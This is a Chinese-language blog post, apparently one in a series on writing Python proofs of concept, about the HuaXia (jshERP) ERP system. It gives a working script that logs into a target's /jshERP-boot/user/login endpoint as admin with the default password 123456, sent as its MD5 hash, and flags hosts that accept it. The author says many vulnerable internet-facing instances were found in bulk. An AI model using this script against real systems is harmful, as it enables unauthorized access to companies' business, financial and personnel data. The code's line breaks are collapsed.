Python-Poc编写(6)
一、背景
华夏ERP是一款面向企业的综合业务管理系统,主要用于帮助企业管理和优化其业务流程,提高运营效率。华夏ERP系统通常包含多个模块,涵盖了企业日常运营的各个方面,如财务管理、供应链管理、生产管理、人力资源管理等。
二、测试
来源于上一个POC编写存在admin账户随机进行弱口令猜测为123456,通过测试登录成功;观察请求包发行密码进行了加密,并且通过json格式进行提交。如下:之后进行了互联网批量漏洞的挖掘还是有很多的。
三、POC编写
import json
import re
import requests#host头部正则模块
def parse_address(input_str):# 移除前后空白并进行匹配input_str = input_str.strip()# 正则表达式匹配IP地址(含端口)和域名(含端口)pattern = re.compile(r'https?://' + # 协议r'(?:' +r'(?P<ip>\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' + # IP地址r'(?::(?P<ip_port>\d+))?|' + # IP端口r'|' +r'(?P<domain>[\w.-]+)' + # 域名r'(?::(?P<domain_port>\d+))?' + # 域名端口r')' +r'(/[^\s]*)?' # 可选的路径部分,忽略r'$')match = pattern.match(input_str)if match:# 根据匹配到的内容构建输出if match.group('ip'): # 是IP地址ip_add = match.group('ip')if match.group('ip_port'):ip_add += f":{match.group('ip_port')}"else: # 是域名domain_or_ip = match.group('domain')ip_add = domain_or_ipif match.group('domain_port'):ip_add += f":{match.group('domain_port')}"return ip_addelse:return "无效的输入,无法解析IP地址或域名。"
# 创建poc模块接收参数
def cmd(url):# 创建payliadpayload = "/jshERP-boot/user/login"url1 = f"{url}{payload}"ip_add = parse_address(url)headers = {'Host':f"{ip_add}",'Content-Length':'67','Accept':'application/json, text/plain, */*','User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36','Content-Type':'application/json;charset=UTF-8','Referer':f'{url}/user/login'}data ={"loginName":"admin","password":"e10adc3949ba59abbe56e057f20f883e"}json_data = json.dumps(data)try:response = requests.post(url1,headers=headers,data=json_data,verify=False,timeout=3) #发送get请求,超时3秒print(response.text)if response.status_code == 200 and "user can login" in response.text:print ( f"【+】{url}存在该漏洞\n")else:print(f"【-】{url}不存在该漏洞\n")except Exception as e :print( f"【*】{url}存在异常;请检测!!\n")if __name__ == '__main__':url = "ip地址"cmd(url)
结果展示


